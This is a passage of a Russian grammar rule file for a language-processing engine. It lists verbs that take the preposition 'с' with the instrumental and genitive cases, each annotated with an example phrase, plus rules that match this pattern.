rus_verbs:ТУСИТЬ{}, // кто тусил со Светкой (ТУСИТЬ С) rus_verbs:БЕЖАТЬ{}, // куда она бежит со всеми? (БЕЖАТЬ С твор) rus_verbs:ГОРЕТЬ{}, // ты горел со своим кораблем? (ГОРЕТЬ С) rus_verbs:ВЫПИТЬ{}, // хотите выпить со мной чаю? (ВЫПИТЬ С) rus_verbs:МЕНЯТЬСЯ{}, // Я меняюсь с товарищем книгами. (МЕНЯТЬСЯ С) rus_verbs:ВАЛЯТЬСЯ{}, // Он уже неделю валяется с гриппом. (ВАЛЯТЬСЯ С) rus_verbs:ПИТЬ{}, // вы даже будете пить со мной пиво. (ПИТЬ С) инфинитив:кристаллизоваться{ вид:соверш }, // После этого пересыщенный раствор кристаллизуется с образованием кристаллов сахара. инфинитив:кристаллизоваться{ вид:несоверш }, глагол:кристаллизоваться{ вид:соверш }, глагол:кристаллизоваться{ вид:несоверш }, rus_verbs:ПООБЩАТЬСЯ{}, // пообщайся с Борисом (ПООБЩАТЬСЯ С) rus_verbs:ОБМЕНЯТЬСЯ{}, // Миша обменялся с Петей марками (ОБМЕНЯТЬСЯ С) rus_verbs:ПРОХОДИТЬ{}, // мы с тобой сегодня весь день проходили с вещами. (ПРОХОДИТЬ С) rus_verbs:ВСТАТЬ{}, // Он занимался всю ночь и встал с головной болью. (ВСТАТЬ С) rus_verbs:ПОВРЕМЕНИТЬ{}, // МВФ рекомендует Ирландии повременить с мерами экономии (ПОВРЕМЕНИТЬ С) rus_verbs:ГЛЯДЕТЬ{}, // Её глаза глядели с мягкой грустью. (ГЛЯДЕТЬ С + твор) rus_verbs:ВЫСКОЧИТЬ{}, // Зачем ты выскочил со своим замечанием? (ВЫСКОЧИТЬ С) rus_verbs:НЕСТИ{}, // плот несло со страшной силой. (НЕСТИ С) rus_verbs:приближаться{}, // стена приближалась со страшной быстротой. (приближаться с) rus_verbs:заниматься{}, // После уроков я занимался с отстающими учениками. (заниматься с) rus_verbs:разработать{}, // Этот лекарственный препарат разработан с использованием рецептов традиционной китайской медицины. (разработать с) rus_verbs:вестись{}, // Разработка месторождения ведется с использованием большого количества техники. (вестись с) rus_verbs:конфликтовать{}, // Маша конфликтует с Петей (конфликтовать с) rus_verbs:мешать{}, // мешать воду с мукой (мешать с) rus_verbs:иметь{}, // мне уже приходилось несколько раз иметь с ним дело. rus_verbs:синхронизировать{}, // синхронизировать с эталонным генератором rus_verbs:засинхронизировать{}, // засинхронизировать с эталонным генератором rus_verbs:синхронизироваться{}, // синхронизироваться с эталонным генератором rus_verbs:засинхронизироваться{}, // засинхронизироваться с эталонным генератором rus_verbs:стирать{}, // стирать с мылом рубашку в тазу rus_verbs:прыгать{}, // парашютист прыгает с парашютом rus_verbs:выступить{}, // Он выступил с приветствием съезду. rus_verbs:ходить{}, // В чужой монастырь со своим уставом не ходят. rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой. rus_verbs:отзываться{}, // Он отзывается об этой книге с большой похвалой. rus_verbs:вставать{}, // он встаёт с зарёй rus_verbs:мирить{}, // Его ум мирил всех с его дурным характером. rus_verbs:продолжаться{}, // стрельба тем временем продолжалась с прежней точностью. rus_verbs:договориться{}, // мы договоримся с вами rus_verbs:побыть{}, // он хотел побыть с тобой rus_verbs:расти{}, // Мировые производственные мощности растут с беспрецедентной скоростью rus_verbs:вязаться{}, // вязаться с фактами rus_verbs:отнестись{}, // отнестись к животным с сочуствием rus_verbs:относиться{}, // относиться с пониманием rus_verbs:пойти{}, // Спектакль пойдёт с участием известных артистов. rus_verbs:бракосочетаться{}, // Потомственный кузнец бракосочетался с разорившейся графиней rus_verbs:гулять{}, // бабушка гуляет с внуком rus_verbs:разбираться{}, // разбираться с задачей rus_verbs:сверить{}, // Данные были сверены с эталонными значениями rus_verbs:делать{}, // Что делать со старым телефоном rus_verbs:осматривать{}, // осматривать с удивлением rus_verbs:обсудить{}, // обсудить с приятелем прохождение уровня в новой игре rus_verbs:попрощаться{}, // попрощаться с талантливым актером rus_verbs:задремать{}, // задремать с кружкой чая в руке rus_verbs:связать{}, // связать катастрофу с действиями конкурентов rus_verbs:носиться{}, // носиться с безумной идеей rus_verbs:кончать{}, // кончать с собой rus_verbs:обмениваться{}, // обмениваться с собеседниками rus_verbs:переговариваться{}, // переговариваться с маяком rus_verbs:общаться{}, // общаться с полицией rus_verbs:завершить{}, // завершить с ошибкой rus_verbs:обняться{}, // обняться с подругой rus_verbs:сливаться{}, // сливаться с фоном rus_verbs:смешаться{}, // смешаться с толпой rus_verbs:договариваться{}, // договариваться с потерпевшим rus_verbs:обедать{}, // обедать с гостями rus_verbs:сообщаться{}, // сообщаться с подземной рекой rus_verbs:сталкиваться{}, // сталкиваться со стаей птиц rus_verbs:читаться{}, // читаться с трудом rus_verbs:смириться{}, // смириться с утратой rus_verbs:разделить{}, // разделить с другими ответственность rus_verbs:роднить{}, // роднить с медведем rus_verbs:медлить{}, // медлить с ответом rus_verbs:скрестить{}, // скрестить с ужом rus_verbs:покоиться{}, // покоиться с миром rus_verbs:делиться{}, // делиться с друзьями rus_verbs:познакомить{}, // познакомить с Олей rus_verbs:порвать{}, // порвать с Олей rus_verbs:завязать{}, // завязать с Олей знакомство rus_verbs:суетиться{}, // суетиться с изданием романа rus_verbs:соединиться{}, // соединиться с сервером rus_verbs:справляться{}, // справляться с нуждой rus_verbs:замешкаться{}, // замешкаться с ответом rus_verbs:поссориться{}, // поссориться с подругой rus_verbs:ссориться{}, // ссориться с друзьями rus_verbs:торопить{}, // торопить с решением rus_verbs:поздравить{}, // поздравить с победой rus_verbs:проститься{}, // проститься с человеком rus_verbs:поработать{}, // поработать с деревом rus_verbs:приключиться{}, // приключиться с Колей rus_verbs:сговориться{}, // сговориться с Ваней rus_verbs:отъехать{}, // отъехать с ревом rus_verbs:объединять{}, // объединять с другой кампанией rus_verbs:употребить{}, // употребить с молоком rus_verbs:перепутать{}, // перепутать с другой книгой rus_verbs:запоздать{}, // запоздать с ответом rus_verbs:подружиться{}, // подружиться с другими детьми rus_verbs:дружить{}, // дружить с Сережей rus_verbs:поравняться{}, // поравняться с финишной чертой rus_verbs:ужинать{}, // ужинать с гостями rus_verbs:расставаться{}, // расставаться с приятелями rus_verbs:завтракать{}, // завтракать с семьей rus_verbs:объединиться{}, // объединиться с соседями rus_verbs:сменяться{}, // сменяться с напарником rus_verbs:соединить{}, // соединить с сетью rus_verbs:разговориться{}, // разговориться с охранником rus_verbs:преподнести{}, // преподнести с помпой rus_verbs:напечатать{}, // напечатать с картинками rus_verbs:соединять{}, // соединять с сетью rus_verbs:расправиться{}, // расправиться с беззащитным человеком rus_verbs:распрощаться{}, // распрощаться с деньгами rus_verbs:сравнить{}, // сравнить с конкурентами rus_verbs:ознакомиться{}, // ознакомиться с выступлением инфинитив:сочетаться{ вид:несоверш }, глагол:сочетаться{ вид:несоверш }, // сочетаться с сумочкой деепричастие:сочетаясь{}, прилагательное:сочетающийся{}, прилагательное:сочетавшийся{}, rus_verbs:изнасиловать{}, // изнасиловать с применением чрезвычайного насилия rus_verbs:прощаться{}, // прощаться с боевым товарищем rus_verbs:сравнивать{}, // сравнивать с конкурентами rus_verbs:складывать{}, // складывать с весом упаковки rus_verbs:повестись{}, // повестись с ворами rus_verbs:столкнуть{}, // столкнуть с отбойником rus_verbs:переглядываться{}, // переглядываться с соседом rus_verbs:поторопить{}, // поторопить с откликом rus_verbs:развлекаться{}, // развлекаться с подружками rus_verbs:заговаривать{}, // заговаривать с незнакомцами rus_verbs:поцеловаться{}, // поцеловаться с первой девушкой инфинитив:согласоваться{ вид:несоверш }, глагол:согласоваться{ вид:несоверш }, // согласоваться с подлежащим деепричастие:согласуясь{}, прилагательное:согласующийся{}, rus_verbs:совпасть{}, // совпасть с оригиналом rus_verbs:соединяться{}, // соединяться с куратором rus_verbs:повстречаться{}, // повстречаться с героями rus_verbs:поужинать{}, // поужинать с родителями rus_verbs:развестись{}, // развестись с первым мужем rus_verbs:переговорить{}, // переговорить с коллегами rus_verbs:сцепиться{}, // сцепиться с бродячей собакой rus_verbs:сожрать{}, // сожрать с потрохами rus_verbs:побеседовать{}, // побеседовать со шпаной rus_verbs:поиграть{}, // поиграть с котятами rus_verbs:сцепить{}, // сцепить с тягачом rus_verbs:помириться{}, // помириться с подружкой rus_verbs:связываться{}, // связываться с бандитами rus_verbs:совещаться{}, // совещаться с мастерами rus_verbs:обрушиваться{}, // обрушиваться с беспощадной критикой rus_verbs:переплестись{}, // переплестись с кустами rus_verbs:мутить{}, // мутить с одногрупницами rus_verbs:приглядываться{}, // приглядываться с интересом rus_verbs:сблизиться{}, // сблизиться с врагами rus_verbs:перешептываться{}, // перешептываться с симпатичной соседкой rus_verbs:растереть{}, // растереть с солью rus_verbs:смешиваться{}, // смешиваться с известью rus_verbs:соприкоснуться{}, // соприкоснуться с тайной rus_verbs:ладить{}, // ладить с родственниками rus_verbs:сотрудничать{}, // сотрудничать с органами дознания rus_verbs:съехаться{}, // съехаться с родственниками rus_verbs:перекинуться{}, // перекинуться с коллегами парой слов rus_verbs:советоваться{}, // советоваться с отчимом rus_verbs:сравниться{}, // сравниться с лучшими rus_verbs:знакомиться{}, // знакомиться с абитуриентами rus_verbs:нырять{}, // нырять с аквалангом rus_verbs:забавляться{}, // забавляться с куклой rus_verbs:перекликаться{}, // перекликаться с другой статьей rus_verbs:тренироваться{}, // тренироваться с партнершей rus_verbs:поспорить{}, // поспорить с казночеем инфинитив:сладить{ вид:соверш }, глагол:сладить{ вид:соверш }, // сладить с бычком деепричастие:сладив{}, прилагательное:сладивший{ вид:соверш }, rus_verbs:примириться{}, // примириться с утратой rus_verbs:раскланяться{}, // раскланяться с фрейлинами rus_verbs:слечь{}, // слечь с ангиной rus_verbs:соприкасаться{}, // соприкасаться со стеной rus_verbs:смешать{}, // смешать с грязью rus_verbs:пересекаться{}, // пересекаться с трассой rus_verbs:путать{}, // путать с государственной шерстью rus_verbs:поболтать{}, // поболтать с ученицами rus_verbs:здороваться{}, // здороваться с профессором rus_verbs:просчитаться{}, // просчитаться с покупкой rus_verbs:сторожить{}, // сторожить с собакой rus_verbs:обыскивать{}, // обыскивать с собаками rus_verbs:переплетаться{}, // переплетаться с другой веткой rus_verbs:обниматься{}, // обниматься с Ксюшей rus_verbs:объединяться{}, // объединяться с конкурентами rus_verbs:погорячиться{}, // погорячиться с покупкой rus_verbs:мыться{}, // мыться с мылом rus_verbs:свериться{}, // свериться с эталоном rus_verbs:разделаться{}, // разделаться с кем-то rus_verbs:чередоваться{}, // чередоваться с партнером rus_verbs:налететь{}, // налететь с соратниками rus_verbs:поспать{}, // поспать с включенным светом rus_verbs:управиться{}, // управиться с собакой rus_verbs:согрешить{}, // согрешить с замужней rus_verbs:определиться{}, // определиться с победителем rus_verbs:перемешаться{}, // перемешаться с гранулами rus_verbs:затрудняться{}, // затрудняться с ответом rus_verbs:обождать{}, // обождать со стартом rus_verbs:фыркать{}, // фыркать с презрением rus_verbs:засидеться{}, // засидеться с приятелем rus_verbs:крепнуть{}, // крепнуть с годами rus_verbs:пировать{}, // пировать с дружиной rus_verbs:щебетать{}, // щебетать с сестричками rus_verbs:маяться{}, // маяться с кашлем rus_verbs:сближать{}, // сближать с центральным светилом rus_verbs:меркнуть{}, // меркнуть с возрастом rus_verbs:заспорить{}, // заспорить с оппонентами rus_verbs:граничить{}, // граничить с Ливаном rus_verbs:перестараться{}, // перестараться со стимуляторами rus_verbs:объединить{}, // объединить с филиалом rus_verbs:свыкнуться{}, // свыкнуться с утратой rus_verbs:посоветоваться{}, // посоветоваться с адвокатами rus_verbs:напутать{}, // напутать с ведомостями rus_verbs:нагрянуть{}, // нагрянуть с обыском rus_verbs:посовещаться{}, // посовещаться с судьей rus_verbs:провернуть{}, // провернуть с друганом rus_verbs:разделяться{}, // разделяться с сотрапезниками rus_verbs:пересечься{}, // пересечься с второй колонной rus_verbs:опережать{}, // опережать с большим запасом rus_verbs:перепутаться{}, // перепутаться с другой линией rus_verbs:соотноситься{}, // соотноситься с затратами rus_verbs:смешивать{}, // смешивать с золой rus_verbs:свидеться{}, // свидеться с тобой rus_verbs:переспать{}, // переспать с графиней rus_verbs:поладить{}, // поладить с соседями rus_verbs:протащить{}, // протащить с собой rus_verbs:разминуться{}, // разминуться с встречным потоком rus_verbs:перемежаться{}, // перемежаться с успехами rus_verbs:рассчитаться{}, // рассчитаться с кредиторами rus_verbs:срастись{}, // срастись с телом rus_verbs:знакомить{}, // знакомить с родителями rus_verbs:поругаться{}, // поругаться с родителями rus_verbs:совладать{}, // совладать с чувствами rus_verbs:обручить{}, // обручить с богатой невестой rus_verbs:сближаться{}, // сближаться с вражеским эсминцем rus_verbs:замутить{}, // замутить с Ксюшей rus_verbs:повозиться{}, // повозиться с настройкой rus_verbs:торговаться{}, // торговаться с продавцами rus_verbs:уединиться{}, // уединиться с девчонкой rus_verbs:переборщить{}, // переборщить с добавкой rus_verbs:ознакомить{}, // ознакомить с пожеланиями rus_verbs:прочесывать{}, // прочесывать с собаками rus_verbs:переписываться{}, // переписываться с корреспондентами rus_verbs:повздорить{}, // повздорить с сержантом rus_verbs:разлучить{}, // разлучить с семьей rus_verbs:соседствовать{}, // соседствовать с цыганами rus_verbs:застукать{}, // застукать с проститутками rus_verbs:напуститься{}, // напуститься с кулаками rus_verbs:сдружиться{}, // сдружиться с ребятами rus_verbs:соперничать{}, // соперничать с параллельным классом rus_verbs:прочесать{}, // прочесать с собаками rus_verbs:кокетничать{}, // кокетничать с гимназистками rus_verbs:мириться{}, // мириться с убытками rus_verbs:оплошать{}, // оплошать с билетами rus_verbs:отождествлять{}, // отождествлять с литературным героем rus_verbs:хитрить{}, // хитрить с зарплатой rus_verbs:провозиться{}, // провозиться с задачкой rus_verbs:коротать{}, // коротать с друзьями rus_verbs:соревноваться{}, // соревноваться с машиной rus_verbs:уживаться{}, // уживаться с местными жителями rus_verbs:отождествляться{}, // отождествляться с литературным героем rus_verbs:сопоставить{}, // сопоставить с эталоном rus_verbs:пьянствовать{}, // пьянствовать с друзьями rus_verbs:залетать{}, // залетать с паленой водкой rus_verbs:гастролировать{}, // гастролировать с новой цирковой программой rus_verbs:запаздывать{}, // запаздывать с кормлением rus_verbs:таскаться{}, // таскаться с сумками rus_verbs:контрастировать{}, // контрастировать с туфлями rus_verbs:сшибиться{}, // сшибиться с форвардом rus_verbs:состязаться{}, // состязаться с лучшей командой rus_verbs:затрудниться{}, // затрудниться с объяснением rus_verbs:объясниться{}, // объясниться с пострадавшими rus_verbs:разводиться{}, // разводиться со сварливой женой rus_verbs:препираться{}, // препираться с адвокатами rus_verbs:сосуществовать{}, // сосуществовать с крупными хищниками rus_verbs:свестись{}, // свестись с нулевым счетом rus_verbs:обговорить{}, // обговорить с директором rus_verbs:обвенчаться{}, // обвенчаться с ведьмой rus_verbs:экспериментировать{}, // экспериментировать с генами rus_verbs:сверять{}, // сверять с таблицей rus_verbs:сверяться{}, // свериться с таблицей rus_verbs:сблизить{}, // сблизить с точкой rus_verbs:гармонировать{}, // гармонировать с обоями rus_verbs:перемешивать{}, // перемешивать с молоком rus_verbs:трепаться{}, // трепаться с сослуживцами rus_verbs:перемигиваться{}, // перемигиваться с соседкой rus_verbs:разоткровенничаться{}, // разоткровенничаться с незнакомцем rus_verbs:распить{}, // распить с собутыльниками rus_verbs:скрестись{}, // скрестись с дикой лошадью rus_verbs:передраться{}, // передраться с дворовыми собаками rus_verbs:умыть{}, // умыть с мылом rus_verbs:грызться{}, // грызться с соседями rus_verbs:переругиваться{}, // переругиваться с соседями rus_verbs:доиграться{}, // доиграться со спичками rus_verbs:заладиться{}, // заладиться с подругой rus_verbs:скрещиваться{}, // скрещиваться с дикими видами rus_verbs:повидаться{}, // повидаться с дедушкой rus_verbs:повоевать{}, // повоевать с орками rus_verbs:сразиться{}, // сразиться с лучшим рыцарем rus_verbs:кипятить{}, // кипятить с отбеливателем rus_verbs:усердствовать{}, // усердствовать с наказанием rus_verbs:схлестнуться{}, // схлестнуться с лучшим боксером rus_verbs:пошептаться{}, // пошептаться с судьями rus_verbs:сравняться{}, // сравняться с лучшими экземплярами rus_verbs:церемониться{}, // церемониться с пьяницами rus_verbs:консультироваться{}, // консультироваться со специалистами rus_verbs:переусердствовать{}, // переусердствовать с наказанием rus_verbs:проноситься{}, // проноситься с собой rus_verbs:перемешать{}, // перемешать с гипсом rus_verbs:темнить{}, // темнить с долгами rus_verbs:сталкивать{}, // сталкивать с черной дырой rus_verbs:увольнять{}, // увольнять с волчьим билетом rus_verbs:заигрывать{}, // заигрывать с совершенно диким животным rus_verbs:сопоставлять{}, // сопоставлять с эталонными образцами rus_verbs:расторгнуть{}, // расторгнуть с нерасторопными поставщиками долгосрочный контракт rus_verbs:созвониться{}, // созвониться с мамой rus_verbs:спеться{}, // спеться с отъявленными хулиганами rus_verbs:интриговать{}, // интриговать с придворными rus_verbs:приобрести{}, // приобрести со скидкой rus_verbs:задержаться{}, // задержаться со сдачей работы rus_verbs:плавать{}, // плавать со спасательным кругом rus_verbs:якшаться{}, // Не якшайся с врагами инфинитив:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги инфинитив:ассоциировать{вид:несоверш}, глагол:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги глагол:ассоциировать{вид:несоверш}, //+прилагательное:ассоциировавший{вид:несоверш}, прилагательное:ассоциировавший{вид:соверш}, прилагательное:ассоциирующий{}, деепричастие:ассоциируя{}, деепричастие:ассоциировав{}, rus_verbs:ассоциироваться{}, // герой книги ассоциируется с реальным персонажем rus_verbs:аттестовывать{}, // Они аттестовывают сотрудников с помощью наборра тестов rus_verbs:аттестовываться{}, // Сотрудники аттестовываются с помощью набора тестов //+инфинитив:аффилировать{вид:соверш}, // эти предприятия были аффилированы с олигархом //+глагол:аффилировать{вид:соверш}, прилагательное:аффилированный{}, rus_verbs:баловаться{}, // мальчик баловался с молотком rus_verbs:балясничать{}, // женщина балясничала с товарками rus_verbs:богатеть{}, // Провинция богатеет от торговли с соседями rus_verbs:бодаться{}, // теленок бодается с деревом rus_verbs:боксировать{}, // Майкл дважды боксировал с ним rus_verbs:брататься{}, // Солдаты братались с бойцами союзников rus_verbs:вальсировать{}, // Мальчик вальсирует с девочкой rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу rus_verbs:происходить{}, // Что происходит с мировой экономикой? rus_verbs:произойти{}, // Что произошло с экономикой? rus_verbs:взаимодействовать{}, // Электроны взаимодействуют с фотонами rus_verbs:вздорить{}, // Эта женщина часто вздорила с соседями rus_verbs:сойтись{}, // Мальчик сошелся с бандой хулиганов rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями rus_verbs:водиться{}, // Няня водится с детьми rus_verbs:воевать{}, // Фермеры воевали с волками rus_verbs:возиться{}, // Няня возится с детьми rus_verbs:ворковать{}, // Голубь воркует с голубкой rus_verbs:воссоединиться{}, // Дети воссоединились с семьей rus_verbs:воссоединяться{}, // Дети воссоединяются с семьей rus_verbs:вошкаться{}, // Не вошкайся с этой ерундой rus_verbs:враждовать{}, // враждовать с соседями rus_verbs:временить{}, // временить с выходом на пенсию rus_verbs:расстаться{}, // я не могу расстаться с тобой rus_verbs:выдирать{}, // выдирать с мясом rus_verbs:выдираться{}, // выдираться с мясом rus_verbs:вытворить{}, // вытворить что-либо с чем-либо rus_verbs:вытворять{}, // вытворять что-либо с чем-либо rus_verbs:сделать{}, // сделать с чем-то rus_verbs:домыть{}, // домыть с мылом rus_verbs:случиться{}, // случиться с кем-то rus_verbs:остаться{}, // остаться с кем-то rus_verbs:случать{}, // случать с породистым кобельком rus_verbs:послать{}, // послать с весточкой rus_verbs:работать{}, // работать с роботами rus_verbs:провести{}, // провести с девчонками время rus_verbs:заговорить{}, // заговорить с незнакомкой rus_verbs:прошептать{}, // прошептать с придыханием rus_verbs:читать{}, // читать с выражением rus_verbs:слушать{}, // слушать с повышенным вниманием rus_verbs:принести{}, // принести с собой rus_verbs:спать{}, // спать с женщинами rus_verbs:закончить{}, // закончить с приготовлениями rus_verbs:помочь{}, // помочь с перестановкой rus_verbs:уехать{}, // уехать с семьей rus_verbs:случаться{}, // случаться с кем-то rus_verbs:кутить{}, // кутить с проститутками rus_verbs:разговаривать{}, // разговаривать с ребенком rus_verbs:погодить{}, // погодить с ликвидацией rus_verbs:считаться{}, // считаться с чужим мнением rus_verbs:носить{}, // носить с собой rus_verbs:хорошеть{}, // хорошеть с каждым днем rus_verbs:приводить{}, // приводить с собой rus_verbs:прыгнуть{}, // прыгнуть с парашютом rus_verbs:петь{}, // петь с чувством rus_verbs:сложить{}, // сложить с результатом rus_verbs:познакомиться{}, // познакомиться с другими студентами rus_verbs:обращаться{}, // обращаться с животными rus_verbs:съесть{}, // съесть с хлебом rus_verbs:ошибаться{}, // ошибаться с дозировкой rus_verbs:столкнуться{}, // столкнуться с медведем rus_verbs:справиться{}, // справиться с нуждой rus_verbs:торопиться{}, // торопиться с ответом rus_verbs:поздравлять{}, // поздравлять с победой rus_verbs:объясняться{}, // объясняться с начальством rus_verbs:пошутить{}, // пошутить с подругой rus_verbs:поздороваться{}, // поздороваться с коллегами rus_verbs:поступать{}, // Как поступать с таким поведением? rus_verbs:определяться{}, // определяться с кандидатами rus_verbs:связаться{}, // связаться с поставщиком rus_verbs:спорить{}, // спорить с собеседником rus_verbs:разобраться{}, // разобраться с делами rus_verbs:ловить{}, // ловить с удочкой rus_verbs:помедлить{}, // Кандидат помедлил с ответом на заданный вопрос rus_verbs:шутить{}, // шутить с диким зверем rus_verbs:разорвать{}, // разорвать с поставщиком контракт rus_verbs:увезти{}, // увезти с собой rus_verbs:унести{}, // унести с собой rus_verbs:сотворить{}, // сотворить с собой что-то нехорошее rus_verbs:складываться{}, // складываться с первым импульсом rus_verbs:соглашаться{}, // соглашаться с предложенным договором //rus_verbs:покончить{}, // покончить с развратом rus_verbs:прихватить{}, // прихватить с собой rus_verbs:похоронить{}, // похоронить с почестями rus_verbs:связывать{}, // связывать с компанией свою судьбу rus_verbs:совпадать{}, // совпадать с предсказанием rus_verbs:танцевать{}, // танцевать с девушками rus_verbs:поделиться{}, // поделиться с выжившими rus_verbs:оставаться{}, // я не хотел оставаться с ним в одной комнате. rus_verbs:беседовать{}, // преподаватель, беседующий со студентами rus_verbs:бороться{}, // человек, борющийся со смертельной болезнью rus_verbs:шептаться{}, // девочка, шепчущаяся с подругой rus_verbs:сплетничать{}, // женщина, сплетничавшая с товарками rus_verbs:поговорить{}, // поговорить с виновниками rus_verbs:сказать{}, // сказать с трудом rus_verbs:произнести{}, // произнести с трудом rus_verbs:говорить{}, // говорить с акцентом rus_verbs:произносить{}, // произносить с трудом rus_verbs:встречаться{}, // кто с Антонио встречался? rus_verbs:посидеть{}, // посидеть с друзьями rus_verbs:расквитаться{}, // расквитаться с обидчиком rus_verbs:поквитаться{}, // поквитаться с обидчиком rus_verbs:ругаться{}, // ругаться с женой rus_verbs:поскандалить{}, // поскандалить с женой rus_verbs:потанцевать{}, // потанцевать с подругой rus_verbs:скандалить{}, // скандалить с соседями rus_verbs:разругаться{}, // разругаться с другом rus_verbs:болтать{}, // болтать с подругами rus_verbs:потрепаться{}, // потрепаться с соседкой rus_verbs:войти{}, // войти с регистрацией rus_verbs:входить{}, // входить с регистрацией rus_verbs:возвращаться{}, // возвращаться с триумфом rus_verbs:опоздать{}, // Он опоздал с подачей сочинения. rus_verbs:молчать{}, // Он молчал с ледяным спокойствием. rus_verbs:сражаться{}, // Он героически сражался с врагами. rus_verbs:выходить{}, // Он всегда выходит с зонтиком. rus_verbs:сличать{}, // сличать перевод с оригиналом rus_verbs:начать{}, // я начал с товарищем спор о религии rus_verbs:согласовать{}, // Маша согласовала с Петей дальнейшие поездки rus_verbs:приходить{}, // Приходите с нею. rus_verbs:жить{}, // кто с тобой жил? rus_verbs:расходиться{}, // Маша расходится с Петей rus_verbs:сцеплять{}, // сцеплять карабин с обвязкой rus_verbs:торговать{}, // мы торгуем с ними нефтью rus_verbs:уединяться{}, // уединяться с подругой в доме rus_verbs:уладить{}, // уладить конфликт с соседями rus_verbs:идти{}, // Я шел туда с тяжёлым сердцем. rus_verbs:разделять{}, // Я разделяю с вами горе и радость. rus_verbs:обратиться{}, // Я обратился к нему с просьбой о помощи. rus_verbs:захватить{}, // Я не захватил с собой денег. прилагательное:знакомый{}, // Я знаком с ними обоими. rus_verbs:вести{}, // Я веду с ней переписку. прилагательное:сопряженный{}, // Это сопряжено с большими трудностями. прилагательное:связанный{причастие}, // Это дело связано с риском. rus_verbs:поехать{}, // Хотите поехать со мной в театр? rus_verbs:проснуться{}, // Утром я проснулся с ясной головой. rus_verbs:лететь{}, // Самолёт летел со скоростью звука. rus_verbs:играть{}, // С огнём играть опасно! rus_verbs:поделать{}, // С ним ничего не поделаешь. rus_verbs:стрястись{}, // С ней стряслось несчастье. rus_verbs:смотреться{}, // Пьеса смотрится с удовольствием. rus_verbs:смотреть{}, // Она смотрела на меня с явным неудовольствием. rus_verbs:разойтись{}, // Она разошлась с мужем. rus_verbs:пристать{}, // Она пристала ко мне с расспросами. rus_verbs:посмотреть{}, // Она посмотрела на меня с удивлением. rus_verbs:поступить{}, // Она плохо поступила с ним. rus_verbs:выйти{}, // Она вышла с усталым и недовольным видом. rus_verbs:взять{}, // Возьмите с собой только самое необходимое. rus_verbs:наплакаться{}, // Наплачется она с ним. rus_verbs:лежать{}, // Он лежит с воспалением лёгких. rus_verbs:дышать{}, // дышащий с трудом rus_verbs:брать{}, // брать с собой rus_verbs:мчаться{}, // Автомобиль мчится с необычайной быстротой. rus_verbs:упасть{}, // Ваза упала со звоном. rus_verbs:вернуться{}, // мы вернулись вчера домой с полным лукошком rus_verbs:сидеть{}, // Она сидит дома с ребенком rus_verbs:встретиться{}, // встречаться с кем-либо ГЛ_ИНФ(придти), прилагательное:пришедший{}, // пришедший с другом ГЛ_ИНФ(постирать), прилагательное:постиранный{}, деепричастие:постирав{}, rus_verbs:мыть{} } fact гл_предл { if context { Гл_С_Твор предлог:с{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_С_Твор предлог:с{} *:*{падеж:твор} } then return true } #endregion ТВОРИТЕЛЬНЫЙ #region РОДИТЕЛЬНЫЙ wordentry_set Гл_С_Род= { rus_verbs:УХОДИТЬ{}, // Но с базы не уходить. rus_verbs:РВАНУТЬ{}, // Водитель прорычал проклятие и рванул машину с места. (РВАНУТЬ) rus_verbs:ОХВАТИТЬ{}, // огонь охватил его со всех сторон (ОХВАТИТЬ) rus_verbs:ЗАМЕТИТЬ{}, // Он понимал, что свет из тайника невозможно заметить с палубы (ЗАМЕТИТЬ/РАЗГЛЯДЕТЬ) rus_verbs:РАЗГЛЯДЕТЬ{}, // rus_verbs:СПЛАНИРОВАТЬ{}, // Птицы размером с орлицу, вероятно, не могли бы подняться в воздух, не спланировав с высокого утеса. (СПЛАНИРОВАТЬ) rus_verbs:УМЕРЕТЬ{}, // Он умрет с голоду. (УМЕРЕТЬ) rus_verbs:ВСПУГНУТЬ{}, // Оба упали с лязгом, вспугнувшим птиц с ближайших деревьев (ВСПУГНУТЬ) rus_verbs:РЕВЕТЬ{}, // Время от времени какой-то ящер ревел с берега или самой реки. (РЕВЕТЬ/ЗАРЕВЕТЬ/ПРОРЕВЕТЬ/ЗАОРАТЬ/ПРООРАТЬ/ОРАТЬ/ПРОКРИЧАТЬ/ЗАКРИЧАТЬ/ВОПИТЬ/ЗАВОПИТЬ) rus_verbs:ЗАРЕВЕТЬ{}, // rus_verbs:ПРОРЕВЕТЬ{}, // rus_verbs:ЗАОРАТЬ{}, // rus_verbs:ПРООРАТЬ{}, // rus_verbs:ОРАТЬ{}, // rus_verbs:ЗАКРИЧАТЬ{}, rus_verbs:ВОПИТЬ{}, // rus_verbs:ЗАВОПИТЬ{}, // rus_verbs:СТАЩИТЬ{}, // Я видела как они стащили его с валуна и увели с собой. (СТАЩИТЬ/СТАСКИВАТЬ) rus_verbs:СТАСКИВАТЬ{}, // rus_verbs:ПРОВЫТЬ{}, // Призрак трубного зова провыл с другой стороны дверей. (ПРОВЫТЬ, ЗАВЫТЬ, ВЫТЬ) rus_verbs:ЗАВЫТЬ{}, // rus_verbs:ВЫТЬ{}, // rus_verbs:СВЕТИТЬ{}, // Полуденное майское солнце ярко светило с голубых небес Аризоны. (СВЕТИТЬ) rus_verbs:ОТСВЕЧИВАТЬ{}, // Солнце отсвечивало с белых лошадей, белых щитов и белых перьев и искрилось на наконечниках пик. (ОТСВЕЧИВАТЬ С, ИСКРИТЬСЯ НА) rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое rus_verbs:собирать{}, // мальчики начали собирать со столов посуду rus_verbs:разглядывать{}, // ты ее со всех сторон разглядывал rus_verbs:СЖИМАТЬ{}, // меня плотно сжимали со всех сторон (СЖИМАТЬ) rus_verbs:СОБРАТЬСЯ{}, // со всего света собрались! (СОБРАТЬСЯ) rus_verbs:ИЗГОНЯТЬ{}, // Вино в пакетах изгоняют с рынка (ИЗГОНЯТЬ) rus_verbs:ВЛЮБИТЬСЯ{}, // влюбился в нее с первого взгляда (ВЛЮБИТЬСЯ) rus_verbs:РАЗДАВАТЬСЯ{}, // теперь крик раздавался со всех сторон (РАЗДАВАТЬСЯ) rus_verbs:ПОСМОТРЕТЬ{}, // Посмотрите на это с моей точки зрения (ПОСМОТРЕТЬ С род) rus_verbs:СХОДИТЬ{}, // принимать участие во всех этих событиях - значит продолжать сходить с ума (СХОДИТЬ С род) rus_verbs:РУХНУТЬ{}, // В Башкирии микроавтобус рухнул с моста (РУХНУТЬ С) 